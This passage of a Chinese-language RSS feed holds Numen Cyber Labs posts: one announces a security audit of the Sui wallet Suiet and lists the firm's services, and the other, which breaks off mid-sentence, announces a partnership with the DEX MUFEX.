<section style="margin: 0px 0px 24px;line-height: 1.75em;text-align: left;"><img class="rich_pages wxw-img" data-ratio="0.5583333333333333" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=6465fc8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cqMrbYfzxsrkLBctuEwJO1Eicq9p9ibJxDWDFZkib8p5UePUSzlAfRWucxKbcJZIzUJHH1Moz6icLAXw%2F640%3Fwx_fmt%3Djpeg"/></section><p style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">近日，Numen Cyber 完成了对 Sui 生态目前用户量最大的钱包 Suiet 的安全审计，可通过阅读原文获取报告。</span></p><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;text-wrap: wrap;">Suiet 是基于 Sui 构建的加密钱包</span>，<span style="color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;text-wrap: wrap;">完全开源且不追踪用户任何信息，</span>可帮助用户在 Sui 上轻松安全地进行 Web3 之旅。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，<span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;text-wrap: wrap;">拥有 Web2+Web3 多重安全技能储备，</span>在 Web3 安全审计上具有全面且完善的能力覆盖：</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="94875"><section style="display: flex;"><section style="width: 8px;height: 30px;background: rgb(254, 254, 254);margin-right: -5px;transform: rotate(0deg);"><section style="width: 6px;height: 6px;background: rgb(49, 49, 47);border-radius: 100%;margin-right: auto;margin-left: auto;overflow: hidden;"><br/></section><section style="width: 6px;height: 6px;background: rgb(49, 49, 47);border-radius: 100%;margin: 4px auto;overflow: hidden;"><br/></section><section style="width: 6px;height: 6px;background: rgb(49, 49, 47);border-radius: 100%;margin-right: auto;margin-left: auto;overflow: hidden;"><br/></section><section style="width: 6px;background: rgb(49, 49, 47);margin-right: auto;margin-left: auto;height: 0px;overflow: hidden;"><br/></section></section><section style="display: flex;"><section style="display: flex;"><section style="width: 4px;height: 100%;background-color: rgb(49, 49, 47);border-radius: 6px;overflow: hidden;"><br/></section></section><section data-autoskip="1" style="padding-left: 10px;font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 1.5px;"><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">智能合约审计</span></strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;"></span></section></li></ul></section><section style="text-align: left;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">一项全面的安全审查，侧重于审查用于承保智能合约中的条款和条件的代码，减少安全漏洞风险。</span></section><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">钱包安全审计</span></strong></section></li></ul></section><section style="text-align: left;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">广泛的加密钱包安全审计，对钱包层区块链交易所业务逻辑缺陷的见解，这些缺陷可能允许恶意攻击利用，或者在加密钱包的依赖项之一中存在未知漏洞。</span></section><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">交易所安全审计</span></strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;"></span></section></li></ul></section><section style="text-align: left;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">对加密资产交易所的各个方面进行系统和结构化的审计审查，以检测攻击媒介并设计一个框架来应对攻击媒介。</span></section><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">公链安全审计</span></strong></section></li></ul></section><section style="text-align: left;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">使用不同的安全审计方法（如黑灰盒和白盒测试）评估多个级别的公链平台节点通信、存储、共识和权限管理。</span></section><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">加密货币追踪与取证</span></strong></section></li></ul></section><section style="text-align: left;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">加密货币追踪和取证是跟踪区块链上虚拟资产的调查方法，用于识别犯罪者并定位资产被转移到哪里和转移到谁那里。</span></section><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">Web3 威胁情报</span></strong><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;"></span></section></li></ul></section><section style="text-align: left;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="text-align: center;letter-spacing: 0.034em;font-size: 15px;">Web3 威胁情报是收集、处理和分析的数据，以了解区块链黑客的动机、目标和行为。它使我们能够做出更快、更明智、数据支持的安全决策，并将威胁参与者的行为从被动转变为主动。</span></section></section></section></section></section></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong>关于 Numen Cyber</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="text-align: left;text-wrap: wrap;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen Cyber 拥有 Web2+Web3 多重安全技能储备。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。</span></section><section style="margin: 8px 8px 16px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">其中</span><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485927&amp;idx=1&amp;sn=fabaf1fd7dd9fa157c05d49b6397c3e2&amp;chksm=cf71bb7cf806326ad1a57ba2ebf00103eba26817f804b7bbb4e30878b4e5b677efee979c7b86&amp;scene=21#wechat_redirect" textvalue=" ImmunX " linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 15px;letter-spacing: 1px;"> <span style="letter-spacing: 1px;color: rgb(48, 56, 65);"><strong>ImmunX</strong></span> </span></a><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护。</span></section><section style="margin: 8px 8px 16px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;text-align: left;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485946&amp;idx=1&amp;sn=2ed700826ed156cec8fd717608555667&amp;chksm=cf71bb61f806327711ee0531ea84720b088906f88812ff73eb62bf69127cff2b3de3b253646e&amp;scene=21#wechat_redirect" textvalue="Leukocyte" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;letter-spacing: 1px;color: rgb(48, 56, 65);" data-linktype="2"><span style="color: rgb(48, 56, 65);"><strong><span style="font-size: 15px;letter-spacing: 1px;">Leukocyte</span></strong></span></a> <span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen 已发现 Aptos，Sui，EoS，Ripple，Tron 在内的 Web3 生态漏洞与微软、谷歌、苹果等产品漏洞。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">例如（点击下述标题即可跳转）：<br/></span></section><h1 style="margin: 8px 8px 16px;font-size: 22px;text-wrap: wrap;outline: 0px;color: rgba(0, 0, 0, 0.85);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);line-height: 1.75em;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247484192&amp;idx=1&amp;sn=1169379e9c2b07f0a3e35631592b95d5&amp;chksm=cf71b1bbf80638adf6acb94b06801d6117a00ad51477d8445aa9d5cc4d52c70124f325e512a7&amp;scene=21#wechat_redirect" textvalue="《Aptos 公链 move VM 高危漏洞分析》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;letter-spacing: 1px;color: rgb(217, 33, 66);" data-linktype="2"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(217, 33, 66);">《Aptos 公链 move VM 高危漏洞分析》</span></a></h1><h1 style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.85);font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 1.75em;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247484352&amp;idx=1&amp;sn=142ff697cd7fbe4172a3ceb8d85296be&amp;chksm=cf71b15bf806384da5ad52156f271d04cc93b5cde269223f6024179e729d0e04a830ece4e9ad&amp;scene=21#wechat_redirect" textvalue="《Numen Cyber 独家发现 Move 语言又一高危漏洞》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;letter-spacing: 1px;color: rgb(217, 33, 66);" data-linktype="2"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(217, 33, 66);">《Numen Cyber 独家发现 Move 语言又一高危漏洞》</span></a></h1><h1 style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.85);font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 1.75em;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485969&amp;idx=1&amp;sn=27c558d58890fced063262124303bf5d&amp;chksm=cf71b88af806319caf6f1d8ffddf6b77617ce5ab63fd1c9b00008a5343af3406b3149bb71ee6&amp;scene=21#wechat_redirect" textvalue="《Numen 独家:Win32k 提权漏洞CVE-2023-29336漏洞解析以 EXP 构造》" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="color: rgb(217, 33, 66);"><span style="font-size: 15px;">《</span><span style="font-size: 15px;letter-spacing: 1px;">Numen 独家:Win32k 提权漏洞CVE-2023-29336漏洞解析以 EXP 构造》</span></span></a></h1><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Sui，Cobo，BitForex，ChainUp，Suiet 等，也包括新加坡金融管理局、新加坡国立大学、中国移动，以及阿里云、腾讯云、华为云、亚马逊、微软等。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="124203"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-image: linear-gradient(to right, rgb(248, 34, 34), rgb(210, 1, 16));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2px 10px;"><section style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text">END</strong></section><section style="width: 100%;border-top: 2px solid rgb(255, 232, 170);height: 2px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><br/></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://twitter.com/numencyber/status/1669255228988997632">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2eaaf350&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486033%26idx%3D1%26sn%3D144f18b7b0db543e92d97d809431fe5b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 15 Jun 2023 18:20:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen Cyber 与 MUFEX 就 Web3 安全建立战略合作伙伴关系</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486020&amp;idx=1&amp;sn=1b7b032e5d58db918e0c2617ee676638</link>
      <description>随着区块链技术的不断普及，确保区块链网络的安全和完整性变得至关重要。</description>
      <content:encoded><![CDATA[<p>
<span>Numen Cyber Labs</span> <span>2023-06-14 18:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>随着区块链技术的不断普及，确保区块链网络的安全和完整性变得至关重要。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a34f879e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0ePriaCoe5JCQv8aT2SyddNputTyfBibLz1tMriaGpHpp9MdeXumTqNPyk7CLb6CUYaAia4gibQVdsdeug%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5561674008810573" data-s="300,640" style="" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=cf597a98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ePriaCoe5JCQv8aT2SyddNplla8YNVxcMqjGibP2TCDeqIO96FvmgcVAVXveOxMKaa8Hncujl786Kg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">近日，Web3 安全解决方案提供商 Numen Cyber 与 DEX <span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-wrap: wrap;">MUFEX</span> 达成了战略合作，这一合作旨在增强区块链的安全性，为用户提供更安全可靠的体验。</span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="letter-spacing: 1px;color: rgb(48, 56, 65);font-size: 15px;"><br/></span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-wrap: wrap;">随着区块链技术的不断普及，确保区块链网络的安全和完整性变得至关重要。</span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen <span style="text-wrap: wrap;">是链上威胁检测与防御的先驱，</span>拥有 Web2+Web3 多重安全技能储备。Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。</span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></section><section style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">MUFEX 是一家位于加密货币行业前沿的 DEX。</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">MUFEX 的主要优势之一是其 MLP 流动性池，可显著</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">减少滑点并提供精准且无与伦比的交易机会。</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">这一尖端功能增强了整体交易体验，确保无缝执行并提高市场效率。</span></section><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">除了技术实力外，MUFEX 还重视卓越的客户服务。MUFEX 拥有一支由来自 Binance，Bybit，Huobi 和 MEXC 等知名交易所的近 30 名经验丰富的企业家组成的团队，具备重新定义用户参与度并释放加密货币行业无限可能性的能力。</span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></p><section style="margin: 0px 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Numen 和 <span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-wrap: wrap;">MUFEX</span> 的合作<span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-wrap: wrap;">将发挥双方的专业知识和资源，</span></span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">以应对不断演变的区块链安全挑战，为用户提供全面解决方案。</span></section><section style="margin: 0px 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">关于 Numen Cyber</strong></section></section></section></section></section></section></section><section style="margin: 0px 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKLink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></section><section style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen 已发现</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"> </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Aptos，S</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">ui，EoS，</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Ripple，Tron 在内的 Web3 生态漏洞与微软、谷歌、苹果等产品漏洞。</span></section><section style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-wrap: wrap;"></span></span></section><section style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;letter-spacing: 0.578px;text-wrap: wrap;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Sui，Cobo，BitForex，ChainUp，Suiet 等，也包括新加坡金融管理局、新加坡国立大学、中国移动，以及阿里云、腾讯云、华为云、亚马逊、微软等。</span></section><p style="margin: 0px 8px;line-height: 1.75em;"><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">关于 MUFEX</strong></section></section></section></section></section></section></section><p style="margin: 0px 8px;line-height: 1.75em;"><span style="letter-spacing: 0.578px;color: rgb(48, 56, 65);font-size: 15px;">MUFEX 是一家改变游戏规则的</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;">去中心化永久交易交易所，致力于提供卓越的用户体验。</span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;">通过使用 ZKP 技术，<span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 